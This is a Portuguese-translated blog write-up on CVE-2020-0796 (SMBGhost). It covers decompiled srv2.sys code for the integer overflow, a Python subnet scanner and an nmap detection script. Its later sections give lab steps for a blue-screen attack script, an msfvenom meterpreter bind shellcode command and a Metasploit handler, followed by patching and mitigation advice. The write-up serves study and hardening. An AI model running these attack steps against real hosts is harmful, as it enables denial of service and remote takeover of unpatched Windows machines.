0x00 Prefácio
Estou ocupado há algum tempo e o popular CVE-2020-0796 (Eternal Black) ainda não chegou e foi reproduzido. Hoje, aproveitando a internet rápida, baixe o sistema vulnerável o mais rápido possível e prepare a detecção carga útil, carga útil da tela azul e menção A carga útil certa e a carga útil de execução do comando reproduzem uma onda. Em comparação, a carga útil só é diferente para realizar funções diferentes. A análise está abaixo.
Descrição da vulnerabilidade 0x01
O boletim de vulnerabilidade mostra que, ao processar mensagens compactadas no protocolo SMB 3.1.1, os dados contidos não são verificados quanto à segurança. O uso direto causará vulnerabilidades de corrupção de memória, que podem ser usadas por invasores para executar códigos arbitrários remotamente. Os invasores podem usar esta vulnerabilidade para realizar a execução remota de código sem permissão, e o sistema alvo atacado por hackers pode ser invadido apenas ao inicializar e ficar online.
Nível de risco de vulnerabilidade 0x02
Alto
0x03 Versão afetada
Windows 10 versão 1903 para sistemas de 32 bits
Windows 10 versão 1903 para sistemas baseados em x64
Windows 10 versão 1903 para sistemas baseados em ARM64
Windows Server, versão 1903 (instalação Server Core)
Windows 10 versão 1909 para sistemas de 32 bits
Windows 10 versão 1909 para sistemas baseados em x64
Windows 10 Versão 1909 para sistemas baseados em ARM64
Windows Server, versão 1909 (instalação Server Core)
Teste ip da máquina: 192.168.1.159
Princípio de vulnerabilidade 0x04
A vulnerabilidade ocorreu em srv2.sys. Como o SMB não processou corretamente o pacote de dados compactado, ao descompactá-lo, ele não verificou se o comprimento era legal ou não ao descompactar o pacote de dados usando o comprimento passado pelo cliente. , causou um estouro de inteiro.
O SMB v3 oferece suporte à compactação de dados. Se o ProtocolId no cabeçalho do SMB for 0x424D53FC, que é 0xFC, 'S', 'M', 'B', os dados serão compactados. Nesse momento, o smb chamará o processo de compactação e descompressão funções.
Primeiro, o SMB chamará a função srv2! Srv2ReceiveHandler para receber o pacote de dados smb e definirá a função de processamento correspondente de acordo com o ProtocoIId.
__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
...
//
// 这里判断头部ProtocolId
//
if ( **((_DWORD **)&v20[15].Next[1].Next + 1) == 'BMS\xFC' )
{
if ( KeGetCurrentIrql() > 1u )
{
v20[14].Next = (_SLIST_ENTRY *)v11;
v20[2].Next = (_SLIST_ENTRY *)Srv2DecompressMessageAsync;
v43 = HIDWORD(v20->Next) == 5;
*((_DWORD *)&v20[3].Next + 2) = 0;
if ( v43 )
{
LOBYTE(v71) = 1;
LOBYTE(v35) = 1;
SRV2_PERF_ENTER_EX(&v20[32].Next + 1, v35, 307i64, "Srv2PostToThreadPool", (_DWORD)v71);
}
v44 = *((_QWORD *)&v20[3].Next[8].Next + 1);
v45 = *(_QWORD *)(v44 + 8i64 * KeGetCurrentNodeNumber() + 8);
if ( !ExpInterlockedPushEntrySList((PSLIST_HEADER)(v45 + 16), v20 + 1) && *(_WORD *)(v45 + 66) )
RfspThreadPoolNodeWakeIdleWorker(v45);
goto LABEL_168;
}
}
}
O código que gera a vulnerabilidade de estouro de número inteiro é o seguinte:
__int64 __fastcall Srv2DecompressData(__int64 pData)
{
__int64 v2; // rax
COMPRESSION_TRANSFORM_HEADER Header; // xmm0 MAPDST
__m128i v4; // xmm0
unsigned int CompressionAlgorithm; // ebp
__int64 UnComparessBuffer; // rax MAPDST
int v9; // eax
int v11; // [rsp+60h] [rbp+8h]
v11 = 0;
v2 = *(_QWORD *)(pData + 0xF0);
if ( *(_DWORD *)(v2 + 0x24) < 0x10u ) // 这里判断数据包长度的最小值
return 0xC000090Bi64;
Header = *(COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]中为客户端传进来的Buffer
// [v2+0x24]为数据包长度
v4 = _mm_srli_si128((__m128i)Header, 8);
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + 0x50) + 0x1F0i64) + 0x8Ci64);
if ( CompressionAlgorithm != v4.m128i_u16[0] )
return 0xC00000BBi64;
UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i32[1]), 0i64);// OriginalCompressedSegmentSize + CompressedSegmentSize,这里没有检查相加的值,导致整数溢出,分配一个较小的UnCompressBuffer
if ( !UnComparessBuffer )
return 0xC000009Ai64;
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm, // CompressionAlgorithm
*(_QWORD *)(*(_QWORD *)(pData + 0xF0) + 0x18i64) + (unsigned int)Header.Length + 0x10i64,// CompressedBuffer
(unsigned int)(*(_DWORD *)(*(_QWORD *)(pData + 0xF0) + 0x24i64) - Header.Length - 0x10),// CompressedBufferSize
(unsigned int)Header.Length + *(_QWORD *)(UnComparessBuffer + 0x18),// UncompressedBuffer,会传入SmbCompressionDecompress函数进行Decompress处理。
Header.OriginalCompressedSegmentSize,
&v11) < 0
|| (v9 = v11, v11 != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(UnComparessBuffer);
return 0xC000090Bi64;
}
if ( Header.Length )
{
memmove(
*(void **)(UnComparessBuffer + 24),
(const void *)(*(_QWORD *)(*(_QWORD *)(pData + 240) + 24i64) + 16i64),
(unsigned int)Header.Length);
v9 = v11;
}
*(_DWORD *)(UnComparessBuffer + 36) = Header.Length + v9;
Srv2ReplaceReceiveBuffer(pData, UnComparessBuffer);
return 0i64;
}
Detecção de vulnerabilidade 0x05
Existem muitos scripts de verificação e a ideia geral é verificar se um local específico no pacote de retorno contém as duas palavras-chave hexadecimal \ x11 \ x03 ou \ x02 \ x00. O pacote de resposta de comunicação na versão SMB vulnerável é o seguinte:
Versão Python3 do POC
import socket
import struct
import sys
from netaddr import IPNetwork
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
subnet = sys.argv[1]
for ip in IPNetwork(subnet):
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
try:
sock.connect(( str(ip), 445 ))
except:
sock.close()
continue
sock.send(pkt)
nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)
if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")
else:
print(f"{ip} Vulnerable")
Você também pode usar o script nmap para verificar, contando com a poderosa estrutura do nmap, se é mais conveniente.
local smb = require "smb"
local stdnse = require "stdnse"
local nmap = require "nmap"
description = [[
smb-protocols script modified to apply check for CVE-2020-0796 by psc4re.
Attempts to list the supported protocols and dialects of a SMB server.
Packet check based on https://github.com/ollypwn/SMBGhost/
The script attempts to initiate a connection using the dialects:
* NT LM 0.12 (SMBv1)
* 2.02 (SMBv2)
* 2.10 (SMBv2)
* 3.00 (SMBv3)
* 3.02 (SMBv3)
* 3.11 (SMBv3)
Additionally if SMBv1 is found enabled, it will mark it as insecure. This
script is the successor to the (removed) smbv2-enabled script.
]]
---
-- @usage nmap -p445 --script smb-protocols <target>
-- @usage nmap -p139 --script smb-protocols <target>
--
-- @output
-- | smb-protocols:
-- | dialects:
-- | NT LM 0.12 (SMBv1) [dangerous, but default]
-- | 2.02
-- | 2.10
-- | 3.00
-- | 3.02
-- |_ 3.11 (SMBv3.11) compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost
--
-- @xmloutput
-- <table key="dialects">
-- <elem>NT LM 0.12 (SMBv1) [dangerous, but default]</elem>
-- <elem>2.02</elem>
-- <elem>2.10</elem>
-- <elem>3.00</elem>
-- <elem>3.02</elem>
-- <elem>3.11 (SMBv3.11) [Potentially Vulnerable to CVE-2020-0796 Coronablue]</elem>
-- </table>
---
author = "Paulino Calderon (Modified by Psc4re)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "discovery"}
hostrule = function(host)
return smb.get_port(host) ~= nil
end
action = function(host,port)
local status, supported_dialects, overrides
local output = stdnse.output_table()
overrides = {}
status, supported_dialects = smb.list_dialects(host, overrides)
if status then
for i, v in pairs(supported_dialects) do -- Mark SMBv1 as insecure
if v == "NT LM 0.12" then
supported_dialects[i] = v .. " (SMBv1) [dangerous, but default]"
end
if v == "3.11" then
local msg
local response
local compresionalg
local comp
msg = '\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
local socket = nmap.new_socket()
socket:set_timeout(3000)
socket:connect(host.ip,445)
socket:send(msg)
response,data = socket:receive()
compressionalg= string.sub(data,-2)
if compressionalg == "\x01\x00" then
comp = "LZNT1 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
elseif compressionalg == "\x02\x00" then
comp ="LZ77 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
elseif compressionalg == "\x00\x00" then
comp ="No Compression Not Vulnerable"
elseif compressionalg == "\x03\x00" then
comp="LZ77+Huffman compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
end
supported_dialects[i] = v .." " .. comp
end
end
output.dialects = supported_dialects
end
if #output.dialects>0 then
return output
else
stdnse.debug1("No dialects were accepted")
if nmap.verbosity()>1 then
return "No dialects accepted. Something may be blocking the responses"
end
end
end
Você também pode usar o script de detecção POC de Qi'anxin para testar:
0x06 POC de escalonamento de privilégio local
Autoridade elevada com sucesso para nt autoridade \ sistema
Teste de tela azul 0x07
Economize tempo aqui e colete algumas fotos. O endereço de download do git ainda é para todos, por favor, não o use para destruição, os infratores arcam com as consequências.
Primeiro, git baixa o poc para o teste de tela azul e
instala as dependências
Máquina de ataque Kali ip: 192.168.1.160
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install
Ataques de tela azul usando scripts
python3 gistfile1.py 192.168.1.159
0x08 shell de execução de comando remoto
Primeiro, use o systeminfo para ver o patch (KB4551762)
para gerar a versão python do shellcode rebote sob kali
msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
Veja o shellcode gerado
cat exp.py
Substitua a variável buf no código exp.py gerado pela variável USER_PAYLOAD e, a seguir, cole todo o código para cobrir o seguinte código:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 2333
set rhost 192.168.1.106 (目标ip)
run
0x09 correção de bug
1. Atualize, conclua a instalação do patch.
Etapas da operação: Configurações -> Atualização e segurança -> Windows Update, clique em "Verificar atualizações".
2. A Microsoft deu uma contramedida temporária:
Execute regedit.exe, abra o editor de registro, crie um DWORD chamado DisableCompression em HKLM \ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ Parameters, o valor é 1, proíbe recursos de compactação SMB.
3. Bloqueie a porta de comunicação 445 do SMB. 4. Link do patch https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762
Conexão de referência
- https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
- https://github.com/danigargu/CVE-2020-0796
- http://dl.qianxin.com/skylar6
- https://github.com/ollypwn/SMBGhost
- https://github.com/chompie1337/SMBGhost_RCE_PoC
- https://github.com/danigargu/CVE-2020-0796
- https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/
Indique: Blog do Adminxe » CVE-2020-0796 vulnerabilidade de execução remota de código SMB (análise, verificação e reforço)